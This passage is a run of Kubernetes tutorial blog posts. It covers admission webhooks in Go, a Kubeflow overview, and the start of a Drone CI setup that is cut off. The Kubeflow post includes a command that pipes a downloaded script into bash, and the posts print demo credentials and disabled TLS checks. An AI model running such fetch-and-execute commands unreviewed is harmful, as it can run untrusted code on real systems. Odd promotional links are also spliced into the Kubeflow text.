	rootCmd.Flags().String("tls-key", "", "Key for TLS Certificate")
	rootCmd.Flags().Int("port", 8443, "Port to listen on")
}
...
```

In this function, we are creating a simple TLS terminated web server. We can configure the server to use a certificate and on which port we want to listen.

The certificate will be provided automatically via `cert-manager`. We will see later how to deploy and configure the `cert-manager` to generate self-signed certificates and inject so the Kubernetes API server trust them.

Additionally, we create a router for the `/validate` endpoint.

The code for the `/validate` endpoint is pretty straight forward.

Webhooks are sent as POST requests, with `Content-Type: application/json`,  with an `AdmissionReview` API object in the admission.k8s.io API group serialized to JSON as the body.
See an example [AdmissionReview request](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#request)

In our code, we use the k8s runtime schema and deserializer to map to the JSON to the Golang structs. This will be done in my `admissionReviewFromRequest` function.


```go
func validate(w http.ResponseWriter, r *http.Request) {
	log.Printf("validate request")

	// https://godoc.org/k8s.io/apimachinery/pkg/runtime#Scheme
	scheme := runtime.NewScheme()

	// https://godoc.org/k8s.io/apimachinery/pkg/runtime/serializer#CodecFactory
	codecFactory := serializer.NewCodecFactory(scheme)
	deserializer := codecFactory.UniversalDeserializer()

	admissionReviewRequest, err := admissionReviewFromRequest(r, deserializer)
	if err != nil {
		writeErrorResponse(w, errors.New(fmt.Sprintf("can't retrieve admission review from request: %v", err)))
		return
	}

	podResource := metav1.GroupVersionResource{Group: "", Version: "v1", Resource: "pods"}
	if admissionReviewRequest.Request.Resource != podResource {
		writeErrorResponse(w, errors.New(fmt.Sprintf("review request is not from kind pod, got %s", admissionReviewRequest.Request.Resource.Resource)))
		return
	}

	rawRequest := admissionReviewRequest.Request.Object.Raw
	pod := corev1.Pod{}
	if _, _, err := deserializer.Decode(rawRequest, nil, &pod); err != nil {
		writeErrorResponse(w, errors.New(fmt.Sprintf("can't decode raw pod definition: %v", err)))
		return
	}

	admissionResponse := &admissionv1.AdmissionResponse{}
	admissionResponse.Allowed = true

	for _, container := range pod.Spec.Containers {
		if !strings.HasPrefix(container.Image, "docker.io") {
			admissionResponse.Allowed = false
			admissionResponse.Result = &metav1.Status{
				Message: "only container from docker.io are allowed",
			}
			break
		}
	}

	var admissionReviewResponse admissionv1.AdmissionReview
	admissionReviewResponse.Response = admissionResponse
	admissionReviewResponse.SetGroupVersionKind(admissionReviewRequest.GroupVersionKind())
	admissionReviewResponse.Response.UID = admissionReviewRequest.Request.UID

	resp, err := json.Marshal(admissionReviewResponse)
	if err != nil {
		writeErrorResponse(w, errors.New(fmt.Sprintf("not possible marshall response: %v", err)))
		return
	}

	w.Header().Set(ContentTypeKey, ContentTypeJSON)
	w.Write(resp)
}
```

The real validation logic is in this part of the code:

```go
...
admissionResponse := &admissionv1.AdmissionResponse{}
admissionResponse.Allowed = true

for _, container := range pod.Spec.Containers {
    if !strings.HasPrefix(container.Image, "docker.io") {
        admissionResponse.Allowed = false
        admissionResponse.Result = &metav1.Status{
            Message: "only container from docker.io are allowed",
        }
        break
    }
}
...
```
We loop through the containers in the pod and check if the image name starts with `docker.io`. If not, we set the `AdmissionResponse` allowed to false and write a meaningful message to present to the user.

### Create the Kubernetes manifests

To deploy our admission controller, we need to create a `Deployment` and a `Service` resource. In the folder [deploy](k8s-diy-validating-webhook/deploy) you will find the `Deployment` and `Service` manifests. We will take a look at the `Certificate` and `ValidatingWebhookConfiguration` manifest later in this article. Just ignore them for now.

As you can see, we mount in the Deployment the TLS certificates from a secret and use the flags `--tls-cert` and `--tls-key` so our binary knows where to find the certificates.

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: k8s-diy-validating-webhook
  name: k8s-diy-validating-webhook
spec:
  replicas: 1
  selector:
    matchLabels:
      app: k8s-diy-validating-webhook
  template:
    metadata:
      labels:
        app: k8s-diy-validating-webhook
    spec:
      containers:
        - image: ghcr.io/dirien/k8s-diy-validating-webhook:latest
          name: k8s-diy-validating-webhook
          imagePullPolicy: Always
          args:
            - --port=8443
            - --tls-cert=/etc/webhook/certs/tls.crt
            - --tls-key=/etc/webhook/certs/tls.key
          ports:
            - containerPort: 8443
              name: webhook
              protocol: TCP
          volumeMounts:
            - mountPath: /etc/webhook/certs
              name: certs
      volumes:
        - name: certs
          secret:
            secretName: k8s-diy-validating-webhook-certs
```

The `Service` resource is just taking care, that the port `443` is mapped to the port `8443` in the `Deployment`. As the API server is calling the webhook via the default https port.

> I deploy everything into the `default` namespace. Don't do this in production.


### Create the TLS certificates via `cert-manager`

![image.png](/img/blog/diy-how-to-build-a-kubernetes-policy-engine/etlaPV6A0.png align="left")

As we don't want to generate the TLS certificates manually, we will use the `cert-manager` to generate them. [Cert-manager](https://cert-manager.io/) is an awesome open source project to manage X.509 certificates within your cluster. As it is packed with a lot of features, we will not go into detail here.

The `ca-root-issuer` is Self Signed issuers, which is useful for bootstrapping a PKI locally. That's absolutely what we want.

```yaml
kind: ClusterIssuer
apiVersion: cert-manager.io/v1
metadata:
  name: ca-root-issuer
spec:
  selfSigned: {}
```

Now we can create our `CA` certificate via following YAML. Worth to point out is, that we refer to the `ca-root-issuer` `ClusterIssuer` in our `spec` section.
```yaml
kind: Certificate
apiVersion: cert-manager.io/v1
metadata:
  name: ca-root
spec:
  secretName: ca-root
  isCA: true
  commonName: ca-root
  privateKey:
    algorithm: RSA
    size: 4096
  issuerRef:
    kind: ClusterIssuer
    name: ca-root-issuer
```

Now that we crated the `CA` certificate, we can create an additional `ClusterIssuer` use with the internal `CA` and issue certificates for the webhooks.

```yaml
kind: ClusterIssuer
apiVersion: cert-manager.io/v1
metadata:
  name: ca-root
spec:
  ca:
    secretName: ca-root
```

### Create the ValidatingWebhookConfiguration

Now we can finish the last bits, before we deploy the webhook. As the Kubernetes API server is calling the webhook via https, we need to create the TLS certificates using our internal `CA` certificate.

The following resource will create the certificate using the `ca-root` cluster issuer from above and store the result in the Kubernetes secret called `k8s-diy-validating-webhook-certs`.

> Important note: The `dnsNames` filed should be set to the service name of the webhook. Reminder: In this article I deployed the webhook into the `default` namespace. Don't do this in production and change the dnsNames to the appropriate values in your cluster.

```yaml
kind: Certificate
apiVersion: cert-manager.io/v1
metadata:
  name: k8s-diy-validating-webhook
spec:
  issuerRef:
    name: ca-root
    kind: ClusterIssuer
  secretName: k8s-diy-validating-webhook-certs
  duration: 2160h
  renewBefore: 360h
  dnsNames:
    - k8s-diy-validating-webhook.default.svc
  isCA: false
  privateKey:
    algorithm: RSA
    size: 4096
  usages:
    - client auth
    - server auth
```

And of course, we need to create the `ValidatingWebhookConfiguration` resource. Notable parts of the `ValidatingWebhookConfiguration`
are the client config, where we point to the service name of our admission controller and the endpoint.

The next part is the `rules` section. Here we define, on which resource and operation, the admission controller should be called.
Here we check if the resource is a `Pod` and the operation is `CREATE`. As scope, we decided that only namespaced resources will be
checked.

The `cert-manager.io/inject-ca-from: default/k8s-diy-validating-webhook` annotation is used to inject the certificate from
the step above.

```yaml
kind: ValidatingWebhookConfiguration
apiVersion: admissionregistration.k8s.io/v1
metadata:
  name: docker-io-required
  annotations:
    cert-manager.io/inject-ca-from: default/k8s-diy-validating-webhook
webhooks:
  - name: docker-io-required.ediri.io
    clientConfig:
      service:
        namespace: default
        name: k8s-diy-validating-webhook
        path: /validate
    rules:
      - apiGroups:
          - ""
        apiVersions:
          - "v1"
        resources:
          - "pods"
        operations:
          - "CREATE"
        scope: Namespaced
    sideEffects: None
    admissionReviewVersions:
      - "v1"
```

### Deploy the validating admission controller

Now we can finally deploy the admission controller into our `minikube` cluster. Let's start the cluster with the following
command:

```shell
minikube start
😄  minikube v1.26.0 on Darwin 10.15.7
✨  Automatically selected the docker driver. Other choices: hyperkit, virtualbox, ssh, qemu2 (experimental)
📌  Using Docker Desktop driver with root privileges
👍  Starting control plane node minikube in cluster minikube
🚜  Pulling base image ...
🔥  Creating docker container (CPUs=2, Memory=5391MB) ...
🐳  Preparing Kubernetes v1.24.1 on Docker 20.10.17 ...
    ▪ Generating certificates and keys ...
    ▪ Booting up control plane ...
    ▪ Configuring RBAC rules ...
🔎  Verifying Kubernetes components...
    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
🌟  Enabled addons: storage-provisioner, default-storageclass
🏄  Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default
```
Quickly check that everything is working by running the following command:

```shell
kubectl get nodes
NAME       STATUS   ROLES           AGE   VERSION
minikube   Ready    control-plane   28s   v1.24.1
```

Now we can navigate into the root folder of your project and call the `all` target in our parent Makefile.

```shell
make all
```

This will deploy the `cert-manager`, the manifest to create the local `CA`, call `ko`to build our container image
and then deploy the `k8s-diy-validating-webhook` into the `default` namespace.

After everything is deployed, we can test that our admission controller is working by creating a `Pod` in the `default` 
with not setting the registry to `docker.io`.

```shell
kubectl run nginx --image=nginx 
Error from server: admission webhook "docker-io-required.ediri.io" denied the request: only container from docker.io are allowed
```

And as expected, the admission controller will deny the request. If we set the registry to `docker.io` then everything 
works as planned in our admission controller.

```shell
kubectl run nginx --image=docker.io/nginx           
pod/nginx created
```

But what happens, if we want to actively change or amend values in our `Pod` resource? For this we can create a mutating admission controller. Why? Because with this we can ensure, that specific best practices in terms of security are enforced.

This rules can be written by the platform team, who provide the service to the user. It could be the security team, or the SRE team.

## Write a mutating admission controller

Most of the steps from above are similar for the mutating admission controller. I will go only in detail on the parts that differ from the validating admission controller.

### Coding the mutating admission controller

We create a new route called `mutate` in our `runMutatingWebhookServer` function. 

```go
...
http.HandleFunc("/mutate", mutate)
...
```

We still need to decode the json request to create our `AdmissionReview` object, so there is no change in this part.

The actual change, is where we create the mutation of the `Pod` resource.

```go
...
var patch string
patchType := admissionv1.PatchTypeJSONPatch

for i := 0; i < len(pod.Spec.Containers); i++ {
    if pod.Spec.Containers[i].Resources.Limits == nil {
        patch = fmt.Sprintf(`{"op": "add", "path": "/spec/containers/%d/resources/limits", "value": {"cpu": "100m", "memory": "100Mi"}}, %s`, i, patch)
        patch = strings.TrimSpace(patch)
    }
}

if len(patch) > 0 {
    patch = strings.TrimRight(patch, ",")
    patch = fmt.Sprintf(`[%s]`, patch)
}

admissionResponse.Allowed = true
if patch != "" {
    admissionResponse.PatchType = &patchType
    admissionResponse.Patch = []byte(patch)
}
...
```

The code loops through the `Containers` of the `Pod` resource and if no `Limits` are set, we add some default values. The AdmissionResponse is currently only support as patch type `JSONPatch`.

So I create the `JSONPatch` object with the `add` operation and the path to the `Limits` field.

### Create the MutatingWebhookConfiguration

Similar to the validating admission controller, we need to create a `MutatingWebhookConfiguration` and the certificate:

```yaml
kind: Certificate
apiVersion: cert-manager.io/v1
metadata:
  name: k8s-diy-mutating-webhook
spec:
  issuerRef:
    name: ca-root
    kind: ClusterIssuer
  secretName: k8s-diy-mutating-webhook-certs
  duration: 2160h
  renewBefore: 360h
  dnsNames:
    - k8s-diy-mutating-webhook.default.svc
  isCA: false
  privateKey:
    algorithm: RSA
    size: 4096
  usages:
    - client auth
    - server auth
```

The certificate, will be issued from our intenal `CA` that we created and also used in the validating admission controller. Again the certificates will be stored in a `Secret` resource.

The `MutatingWebhookConfiguration` is nearly similar to the `ValidatingWebhookConfiguration` but just with different values reflecting to use the mutating admission controller. The service to use is the mutating webhook service and the `/mutate` endpoint.

The `cert-manager.io/inject-ca-from` annotation is used to inject the `CA` to the kubernetes api server.

```yaml
kind: MutatingWebhookConfiguration
apiVersion: admissionregistration.k8s.io/v1
metadata:
  name: set-resource-limits
  annotations:
    cert-manager.io/inject-ca-from: default/k8s-diy-mutating-webhook
webhooks:
  - name: set-resource-limits.ediri.io
    clientConfig:
      service:
        namespace: default
        name: k8s-diy-mutating-webhook
        path: /mutate
    rules:
      - apiGroups:
          - ""
        apiVersions:
          - "v1"
        resources:
          - "pods"
        operations:
          - "CREATE"
        scope: Namespaced
    sideEffects: None
    admissionReviewVersions:
      - "v1"
```

### Deploy the mutating admission controller

Similar to the validating admission controller, we need to deploy the mutating admission controller. Just navigate to the root folder of your project and call the `all` target in our parent Makefile.

```shell
make all
```

After everything is deployed we can test that our admission controller is working by creating a `Pod` in the `default`
and check if the missing `Limits` are set.

```shell
kubectl run nginx --image=docker.io/nginx 
pod/nginx created
```


```shell
 kubectl get pods nginx -o=jsonpath='{.spec.containers.*.resources}'
{"limits":{"cpu":"100m","memory":"100Mi"},"requests":{"cpu":"100m","memory":"100Mi"}}% 
```

## Wrap up - Next steps

![image.png](/img/blog/diy-how-to-build-a-kubernetes-policy-engine/N9WF5_Bxi.png align="center")

Congratulations, you created your first two admission controllers. One for validating and one for mutating. Now you can think about to create additional admission controllers depending on your needs. 

You could also merge both admission controllers into one to avoid duplicate code and just add additional rules to reflect your needs.

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Kubeflow: Machine Learning on Kubernetes - Part 1

- Canonical: https://blog.kubesimplify.com/kubeflow-machine-learning-on-kubernetes-part-1
- Published: 2022-07-26

Developing and deploying machine learning systems could be a pain with multiple things you need to manage. In this article, I introduce you and help you get started with Kubeflow while also understanding how Kubeflow works. This is the first article in the Kubeflow series and I will try to help you answer the question "Why and When Kubeflow?" and understand the Kubeflow architecture coupled with some of my experiences and tips.

## Yet another tool?

Successful machine learning deployments often consist of multiple pieces, when trying to build a model you may not be thinking about data preparation, model training, serving, infrastructure, or service management. To this extent writing the modeling code is a very small part of real-world ML systems with multiple other aspects you need to care about as depicted by this image adapted from <sup>[Sculley2015]</sup>.

![Real World ML Systems](/img/blog/kubeflow-machine-learning-on-kubernetes-part-1/r11DEzTWQ.png align="center")

Only a small fraction of ML systems are composed of modeling code

Kubeflow allows you to make the deployment of machine learning workflows on Kubernetes simple, composable, portable, and scalable. You could easily make different stages of your machine learning workflow independent of each other, as an example: you most likely do not need the same set of tools while experimenting with your model or while training the model at scale, or while serving the model and so on. Kubeflow runs on top of Kubernetes which also means you could run it anywhere you can run Kubernetes be it your desktop, bare metal servers, public cloud, and more. As you might have already guessed, you could easily scale your system as and when required leveraging the abilities of Kubernetes.

> Our goal is to make scaling machine learning (ML) models and deploying them to production as simple as possible, by letting Kubernetes do what it’s great at —[kubeflow.org](https://www.kubeflow.org/docs/started/introduction/)

Kubeflow began as just a simpler way to run TensorFlow jobs on Kubernetes but has since expanded to be a multi-architecture, multi-cloud framework for running end-to-end machine learning workflows based on [TensorFlow Extended](https://www.tensorflow.org/tfx/). <sup>[IntroToKF]</sup>.

Simply put, you get to focus on working on the core of your machine learning tasks while handling many of the other aspects for you.

## Your first step with Kubeflow

Kubeflow can run anywhere Kubernetes can and we will start out by installing Kubeflow so you can try out some demos in this article and the following articles. To test out or familiarize yourself with Kubeflow I would recommend you run all the demos in [`kind`](https://kind.sigs.k8s.io/docs/user/quick-start/) or [`minikube`](https://minikube.sigs.k8s.io/docs/start/) which allows you to start a Kubernetes cluster built with the intention to run locally. To get started with no local setup you could run these on [GitHub Codespaces](https://github.com/features/codespaces) or the [Play with Kubernetes environment](https://labs.play-with-k8s.com/).

I also recommend using MiniKF if you try this out locally which makes it particularly easy and quick to get Kubeflow up.

To deploy Kubeflow in a `kind` cluster you could also use this convenience script (I recommend checking the official repository and upgrading Kubernetes or Kustomize versions if required):

> Warning: The below command executes the script directly if you want to preview the script first please run
> 
> ```sh
> wget https://raw.githubusercontent.com/kubesimplify/kubeflow-series/main/1/scripts/kubeflow-kind.sh
> ```

```sh
wget -O - https://raw.githubusercontent.com/kubesimplify/kubeflow-series/main/1/scripts/kubeflow-kind.sh | bash
```

You might notice that the creation of some resources fails which is expected since for example the creation of `CustomResources` would be possible only after `CustomResourceDefintions` are up. This creates quite a few resources in your cluster. You should ensure all the pods are ready before trying to connect to Kubeflow. You can check this by running:

```sh
kubectl get pods -n cert-manager
kubectl get pods -n istio-system
kubectl get pods -n auth
kubectl get pods -n knative-eventing
kubectl get pods -n knative-serving
kubectl get pods -n kubeflow
kubectl get pods -n kubeflow-user-example-com
```

The default way of accessing Kubeflow is via port-forward. This enables you to get started quickly. Run the following to port-forward Istio's Ingress-Gateway to local port `8080`:

```sh
kubectl port-forward svc/istio-ingressgateway -n istio-system 8080:80
```

Once you do this visiting `http://localhost:8080` (or the external IP in case of a VM) and using the default credentials:

```
user@example.com
12341234
```

allows you to access the Kubeflow dashboard which should look something like this:

![The Kubeflow dashboard](/img/blog/kubeflow-machine-learning-on-kubernetes-part-1/g9Ouy9ys0.png align="center")

The Kubeflow dashboard

There are multiple packaged distributions of Kubeflow available for public clouds, a list of which and the installation instructions for each could be found [here](https://www.kubeflow.org/docs/distributions/).

## Kubeflow components

Kubeflow consists of logical parts called "components" that make up Kubeflow and we will be taking a look at each of these in detail over the next few articles in this series. You could use these components in a stand-alone manner or couple up a few or use all Kubeflow components too. You could also integrate additional tools with a Kubeflow deployment. As I mentioned earlier, Kubeflow is highly composable.

![Kubeflow Components](/img/blog/kubeflow-machine-learning-on-kubernetes-part-1/QOiYXwLdO.png align="center")

Kubeflow components

In this article, we will take a high-level view at the core Kubeflow components:

* **Central Dashboard**: The central dashboard is probably the first thing you took a look at in Kubeflow, in the previous step. This provides quick access to the Kubeflow components deployed in your cluster and allows you to access them via the UI.
    
* **Kubeflow Notebooks**: Machine learning is a very iterative process with a ton of experimentation you might need to do; Kubeflow Notebooks allows you to run development environments as containers inside a pod in your Kubernetes cluster with support for JupyterLab, RStudio, and VS Code though you can have support for anything with a custom container image including projects that involve rendering an [**ai avatar**](https://www.veed.io/tools/ai-avatar) or simulating user interactions.. This particularly makes managing your experiments, environments and dynamically scaling very easy.
    
* **Kubeflow Pipelines**: KFP is the component of Kubeflow I have personally used the most and also how I first discovered Kubeflow. KFP allows you to easily manage, create and deploy end-to-end scalable machine learning workflows. Think of this as an orchestrator for machine learning pipelines making experimentation and deployments pretty easy.
    
* **Katib**: Allows you to work with automated machine learning tasks, hyperparameter tuning, and neural architecture search and supports various machine learning frameworks including PyTorch, TensorFlow, MXNet, and XGBoost. Hyperparameters are important parameters that cannot be directly estimated from the data or could be learned from the data. Finding the right values for hyperparameters is much dependent on previous experience and experimentation which is made easy with Katib. A rather detailed article by me about this can be found at <sup>[Dagli2021]</sup>. Neural Architecture Search allows you to automate the process of designing a neural network <sup>[Elsken2019][Stanley2002]</sup>. Katib supports a ton of AutoML algorithms to help you do the search efficiently including but not limited to Hyperband <sup>[Li2017]</sup>, Random Search, Differentiable architecture se1.arch <sup>[Liu2018]</sup> and more.
    
* **Training Operators**: These allow you to train your machine learning models in a distributed fashion in Kubeflow. At the moment, training operators support TensorFlow, PyTorch, MXNet, and XGBoost jobs which are essentially Kubernetes custom resources, a way to extend the Kubernetes API. The training operator also contains the Message Passing Interface Operator to make it particularly easy to work with all reduce style distributed training jobs, an AllReduce operation synchronizes neural network parameters between separate training processes after each step of the optimization, it does so by aggregating tensors across all the devices, adding them up, and then makes them available on each device. Though you can also use the `tf.distribute` or the `torch.distributed` APIs, these are of course framework-specific <sup>[Gibiansky2017][Sergeev2018]</sup>. Finally, the training operator also includes supporting a job to run multiple pods with the [Volcano scheduler](https://github.com/volcano-sh/volcano).
    
* **Multi Tenancy**: Kubeflow is built in a manner to allow multiple people to easily collaborate on a project. Multi tenancy is built around user namespaces and user access is defined through RBAC (role-based access control) policies which already exist in Kubernetes. You could easily restrict each user to only worry about and interact with the Kubeflow components in their configuration.
    

These are the core components of Kubeflow however Kubeflow could also be paired with some more add-ons that allow you to extend the capabilities of Kubeflow including but not limited to KServe for model serving, Feature Store for feature storage, management, and serving, kale to orchestrate machine learning workflows and more.

## A high-level overview of how Kubeflow works?

As we talked about earlier Kubeflow builds on Kubernetes as a system for deploying, scaling, and managing complex systems and allows Kubernetes to do what it is good at. This also allows you to run Kubeflow wherever Kubernetes can.

![Kubeflow on Kubernetes](/img/blog/kubeflow-machine-learning-on-kubernetes-part-1/70eiy638K.png align="center")

Kubeflow makes use of the rich functionalities of Kubernetes, adapted from the slides by Stephanie Wong

Taking much inspiration from <sup>[Breck2017]</sup> and [kubeflow.org](https://www.kubeflow.org/docs) on a high level we will first define an ML workflow and also take a look at where Kubeflow could help in these stages:

1. **Identify the problem**: The first step as the name suggests involves Identifying the problem you want the ML system to solve as well as discussing model tradeoffs, and how outputs from the model would be used.
    
2. **Source, prepare and analyze your data**: This step involves defining the ground truth for the model, validating the quality of data, and labeling the data.
    
3. **Model Exploration**: This step starts off with first establishing a baseline performance for your tasks. This stage would involve you starting with a simple model using your initial data pipeline and quickly exploring many orthogonal ideas and running experiments. You can also find state-of-the-art models for your task and modify or try to reproduce them in an attempt to set up a benchmark on your dataset. This process is particularly focused on being able to quickly experiment and get an idea of what might work for you. This is exactly what *Kubeflow Notebooks* is built for: quick experimentation without the need to worry about managing the scaling.
    
4. **Model refinement**: This stage involves doing model-specific optimizations like finding the right set of hyperparameters. This stage might require you to go back to step 2 for targeted data collection (there are very few images in a particular style leading to wrong predictions for some important use cases) or to step 3 to further debug your models which might require you to reiterate on the previous steps too! *Katib* helps you here by allowing you to easily do hyperparameter tuning and neural architecture search.
    
5. **Training the model**: You would then want to train your Machine Learning model, this time around for far longer and to be ready to be put into production. Fortunately, this aspect of the ML workflow is well handled by the *training operators* in Kubeflow which support an array of frameworks. You might also need to evaluate your model on test distribution to understand the differences between train and test set distributions.
    
6. **Deploy the model**: Finally, now you can deploy your model which among others requires you to serve your model over a REST API, maintain model versions, perform model rollbacks, canary deployments, batch prediction, and scaling — tasks that are especially useful when deploying models used in dynamic content applications like [**AI dubbing**](https://www.veed.io/tools/voice-dubber/ai-dubbing) or real-time voice synthesis.. You can use *KServe* or also use *Kubeflow pipelines* to orchestrate other ways of serving your models like TensorFlow Extended, TorchServe, TensorRT, and more.
    
7. **Maintenance**: The process, unfortunately, does not end at the "Deploy" step; you also need to be able to monitor live data and model prediction distributions and monitor for data and concept drifts. This data could also tell you if you need to retrain your model or what specific changes you might need to make— for example, when analyzing user behavior in apps that integrate a [**screen recorder**](https://www.veed.io/tools/screen-recorder) for tracking user interaction patterns. This stage is a valuable part of any ML workflow and with Kubeflow you could also use integrate *TensorBoard* to do just this.
    

![Where does Kubeflow fit in the ML Workflow](/img/blog/kubeflow-machine-learning-on-kubernetes-part-1/gBRk6dMYv.png align="center")

Where does Kubeflow fit in the ML Workflow

It is also important to remember that machine learning systems are highly iterative; as you progress through the ML workflow, you’ll find yourself iterating on a section until reaching a satisfactory level of performance, then proceeding forward to the next task which may require you to reiterate on an even earlier step. Moreover, monitoring for skews, prediction quality, data drift, and concept drift after deploying a model is just as important and you should be prepared to iterate based on these real-world interactions.

## Conclusion

Thank you for sticking with me until the end. I hope that you've taken away a thing or two about deploying machine learning and Kubeflow and enjoyed reading this. If you learned something new or enjoyed reading this article, please share it so that others can see it. Until then, see you in the next post!

We will take forward what we talk about in this article in the next article in this series where we will take a deeper dive into Kubeflow Notebooks, until then, adieu!

You can also find me on Twitter [@rishit\_dagli](https://twitter.com/rishit_dagli), where I tweet about machine learning, and open-source.

## References

\[Sculley2015\] Sculley, D., Holt, G., Golovin, D., Davydov, E., Phillips, T., Ebner, D., Chaudhary, V., Young, M., Crespo, J.F., & Dennison, D. (2015). Hidden Technical Debt in Machine Learning Systems. In Advances in Neural Information Processing Systems. Curran Associates, Inc..

\[IntroToKF\] An Introduction to Kubeflow. https://www.kubeflow.org/docs/started/introduction/#history.

\[Dagli2021\] The Art of Hyperparameter Tuning in Deep Neural Nets by Example. https://medium.com/towards-data-science/the-art-of-hyperparameter-tuning-in-deep-neural-nets-by-example-685cb5429a38.

\[Elsken2019\] Elsken, T., Metzen, J. H., & Hutter, F. (2019). Neural architecture search: A survey. The Journal of Machine Learning Research, 20(1), 1997-2017.

\[Stanley2002\] Stanley, K., & Miikkulainen, R. (2002). Evolving neural networks through augmenting topologies. Evolutionary computation, 10(2), 99–127.

\[Gibiansky2017\] Gibiansky, A. (2017). Bringing HPC techniques to deep learning. Baidu Research, Tech. Rep.

\[Sergeev2018\] Sergeev, A., & Del Balso, M. (2018). Horovod: fast and easy distributed deep learning in TensorFlow. arXiv preprint arXiv:1802.05799.

\[Li2017\] Li, L., Jamieson, K., DeSalvo, G., Rostamizadeh, A., & Talwalkar, A. (2017). Hyperband: A novel bandit-based approach to hyperparameter optimization. The Journal of Machine Learning Research, 18(1), 6765-6816.

\[Liu2018\] Liu, H., Simonyan, K., & Yang, Y. (2018). Darts: Differentiable architecture search. arXiv preprint arXiv:1806.09055.

\[Breck2017\] Breck, E., Cai, S., Nielsen, E., Salib, M., & Sculley, D. (2017, December). The ML test score: A rubric for ML production readiness and technical debt reduction. In 2017 IEEE International Conference on Big Data (Big Data) (pp. 1123-1132). IEEE.

---

# Yours Kindly Drone

- Canonical: https://blog.kubesimplify.com/yours-kindly-drone
- Published: 2022-07-19

# Overview

Over the past few years, lots of organizations have started to adopt Cloud Native architectures. Despite the adoption of Cloud Native architectures, many companies haven’t achieved optimal results. Wondering why? One of  the reasons is our adherence to traditional ways of building and deploying Cloud Native applications.

[Kubernetes](https://kubernetes.io) has become the de facto Cloud Native deployment platform, solving one of the main Cloud Native problems: "deploying" applications quickly, efficiently and reliably. It offers radically easy scaling and fault tolerance. Despite this, not many Continuous Integration(CI) systems utilize the benefits of Kubernetes. None of the existing build systems offer the capabilities that are native to Kubernetes like in-cluster building, defining the build resources using CRDs, leveraging underlying security and access controls, etc. These missing features of Kubernetes made the Cloud Native architectures to be less effective and more complex.

Let me introduce an Open Source project [Drone](https://drone.io) --  a cloud native self-service Continuous Integration platform -- . 10 years ago old Drone was the first CI tool to leverage containers to run pipeline steps independent of each other., Today, with over 100M+ Docker pulls, and the most GitHub stars of any Continuous Integration solution, Drone offers a mature, Kubernetes based CI system harnessing the scaling and fault tolerance characteristics of Cloud Native architectures. Drone help solve the next part of the puzzle by running Kubernetes native in-cluster builds.

In this blog, let see how we setup [kind](https://kind.sigs.k8s.io/) and Drone together on our laptops to build Kubernetes native pipelines which could then be moved to cloud platforms like [Harness CI](https://harness.io/) for a broader team based development.

This blog is a tutorial where I explain the steps required to use KinD and Drone to set up CI with Kubernetes on your local machine. At the end of these steps, you will have a completely functional Kubernetes + CI setup that can help you build and deploy Cloud Native applications on to Kubernetes on your laptop.

## Required tools 

To complete this setup successfully, we need the following tools on your laptop,

- [Docker Desktop](https://www.docker.com/products/docker-desktop/) or Docker on Linux
- [kind](https://kind.sigs.k8s.io/)
- [Helm](https://helm.sh/)
- [Kustomize](https://kustomize.io/)
- [Kubectl](https://kubernetes.io/docs/tasks/tools/)
- [envsusbst](https://www.man7.org/linux/man-pages/man1/envsubst.1.html)

All linux distributions adds **envsubst** via [gettext](https://www.gnu.org/software/gettext/) package. On macOS, it can be installed using [Homebrew](https://brew.sh/) like `brew install gettext`.

## Demo Sources

The accompanying code for this blog i.e. the demo sources is available on my [GitHub repo](https://github.com/kameshsampath/drone-on-k8s). Let us clone the same on to our machine,

```shell
git clone https://github.com/kameshsampath/drone-on-k8s && \
  cd "$(basename "$_" .git)"
export PROJECT_HOME="${PWD}"
``` 
> **NOTE**: Through out this blog we will use the  name `$PROJECT_HOME` to refer to demo sources folder that we cloned above .

Alright, we are all set to get started!!

 ## Setup Kubernetes Cluster

As said earlier, we will use kind as our local Kubernetes cluster. But for this blog we will do the following customisations,

- Set up a local container registry where we can push and pull container images that will be used in our Kubernetes. Check the kind [docs](https://kind.sigs.k8s.io/docs/user/local-registry/) for more details.
- Do extra port mappings to make allow us to access the Drone Server and [Gitea](https://gitea.com/) git repository 

To make things easier, all the aforementioned customisations has been compiled into a utility script [$PROJECT_HOME/bin/kind.sh](https://github.com/kameshsampath/drone-on-k8s/blob/main/bin/kind.sh). To start the KinD cluster with these customisations just do,

```shell
$PROJECT_HOME/bin/kind.sh
```

## Version Control System

Without *Version Control System(VCS)* CI makes no sense. One of the primary goal of this blog is to show how to run local VCS  so that you can build your applications without a need for external VCS like GitHub, Gitlab etc.,  For our setup we will use on [Gitea](https://gitea.com/) -- A painless, self-hosted Git service--. Gitea is so easy to set up and does provide [helm charts](https://docs.gitea.io/en-us/install-on-kubernetes/) for Kubernetes based setup.

### Helm Values

The contents of the helm values [file](https://github.com/kameshsampath/drone-on-k8s/blob/main/helm_vars/gitea/values.yaml) that will be used to setup Gitea is shown below. The settings are self-explanatory for more details check the [cheat sheet](https://docs.gitea.io/en-us/config-cheat-sheet).

```yaml
service:
  http:
    # the Kubernetes service gitea-http'  service type
    type: NodePort 
    # the gitea-http service port
    port: 3000
    # this port will be used in KinD extra port mappings to allow accessing the 
    # Gitea server from our laptops
    nodePort: 30950
gitea:
  # the admin credentials to access Gitea typically push/pull operations
  admin:
    # DON'T use username admin as its reserved and gitea will 
    # fail to start
    username: demo
    password: demo@123
    email: admin@example.com
  config:
    server:
      # for this demo we will use http protocol to access Git repos
      PROTOCOL: http
      # the port gitea will listen on
      HTTP_PORT: 3000
      # the Git domain - all the repositories will be using this domain
      DOMAIN: gitea-127.0.0.1.sslip.io
      # The clone base url e.g. if repo is demo/foo the clone url will be 
      # http://gitea-127.0.0.1.sslip.io:3000/demo/foo
      ROOT_URL: http://gitea-127.0.0.1.sslip.io:3000/
    webhook:
      # since we will deploy to local network we will allow all hosts
      ALLOWED_HOST_LIST: "*"
      # since we are in http mode disable TLS
      SKIP_TLS_VERIFY: true
```

Add the gitea helm repo,

```shell
helm repo add gitea-charts https://dl.gitea.io/charts/
helm repo update
```

Run the following command  to deploy Gitea,

```shell
helm upgrade \
  --install gitea gitea-charts/gitea \
  --values $PROJECT_HOME/helm_vars/gitea/values.yaml \
  --wait
```

A successful deployment of gitea should show the following services in the *default* namespace when running the command,

```shell
